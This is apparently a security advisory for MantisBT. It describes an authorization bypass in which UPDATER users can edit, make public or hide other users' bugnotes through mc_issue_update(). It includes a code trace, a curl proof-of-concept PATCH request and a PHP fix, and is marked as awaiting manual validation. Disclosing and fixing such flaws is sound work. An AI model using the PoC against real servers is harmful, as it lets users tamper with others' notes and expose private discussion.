# Authorization Bypass in Bugnote Editing via Issue Update API **Validation: Code trace** (TODO — manual review required, lint-added 2026-04-16) ## Summary The `mc_issue_update()` function in MantisBT allows users with UPDATER (level 40) access to edit, change view state, and modify time tracking on bugnotes belonging to other users — bypassing the DEVELOPER (level 55) threshold required by the dedicated `mc_issue_note_update()` function. ## Vulnerability Details - **CWE**: CWE-863 (Incorrect Authorization) - **CVSS 3.1**: 5.4 (Medium) — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` - **Affected Version**: MantisBT 2.29.0-dev (and likely all prior versions with SOAP/REST API) - **Auth Required**: UPDATER access level (level 40) to the project ## Root Cause `mc_issue_update()` in `api/soap/mc_issue_api.php` checks only `update_bug_threshold` (UPDATER, level 40) at line 1012 before processing note modifications at lines 1180-1208: ```php // Line 1012 — only gate for the entire function if( !access_has_bug_level( config_get( 'update_bug_threshold' ), $p_issue_id, $t_user_id ) ) { return mci_fault_access_denied( $t_user_id, 'Not enough rights to update issues' ); } // Lines 1189-1196 — NO per-note auth check if( isset( $t_note['text']) && $t_bugnote->note !== $t_note['text'] ) { bugnote_set_text( $t_bugnote_id, $t_note['text'] ); // Direct DB write } if( $t_bugnote->view_state != $t_view_state_id ) { bugnote_set_view_state( $t_bugnote_id, $t_view_state_id == VS_PRIVATE ); // Direct DB write } ``` The functions `bugnote_set_text()`, `bugnote_set_view_state()`, and `bugnote_set_time_tracking()` are raw database operations with **zero authorization checks**. In contrast, the dedicated `mc_issue_note_update()` (line 1461) properly enforces: - `bugnote_user_edit_threshold` for note owners (line 1497-1498) - `update_bugnote_threshold` for non-owners (line 1504-1506) Both default to DEVELOPER (level 55). ## Default Access Levels | Config | Default | Level | |--------|---------|-------| | `update_bug_threshold` | UPDATER | 40 | | `update_bugnote_threshold` | DEVELOPER | 55 | | `bugnote_user_edit_threshold` | DEVELOPER | 55 | ## Impact 1. **UPDATER can edit notes by DEVELOPER/MANAGER/ADMIN** — bypassing the DEVELOPER threshold 2. **UPDATER can change private notes to public** — exposing confidential internal discussion 3. **UPDATER can change public notes to private** — hiding information from reporters/viewers ## Proof of Concept ```bash # As UPDATER user, modify note #42 (written by admin) on issue #5 curl -X PATCH "http://mantis.local/api/rest/issues/5" \ -H "Authorization: UPDATER_API_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "notes": [{ "id": 42, "text": "MODIFIED BY UPDATER", "view_state": {"id": 10, "name": "public"} }] }' ``` This succeeds via REST API but the same user would be denied via the dedicated note update endpoint. ## Fix Add per-note authorization checks in the `mc_issue_update()` note modification loop (around line 1185): ```php if( array_key_exists( $t_bugnote_id, $t_bugnotes_by_id ) ) { $t_bugnote = $t_bugnotes_by_id[$t_bugnote_id]; // ADD: Check note-level edit permission $t_user_owns_note = ($t_bugnote->reporter_id == $t_user_id); if( $t_user_owns_note ) { $t_edit_threshold = config_get('bugnote_user_edit_threshold', null, $t_user_id, $t_project_id); if( !access_has_bugnote_level( $t_edit_threshold, $t_bugnote_id, $t_user_id ) ) { return mci_fault_access_denied( $t_user_id ); } } else { $t_edit_threshold = config_get('update_bugnote_threshold', null, $t_user_id, $t_project_id); if( !access_has_bugnote_level( $t_edit_threshold, $t_bugnote_id, $t_user_id ) ) { return mci_fault_access_denied( $t_user_id ); } } // ... existing code ... } ```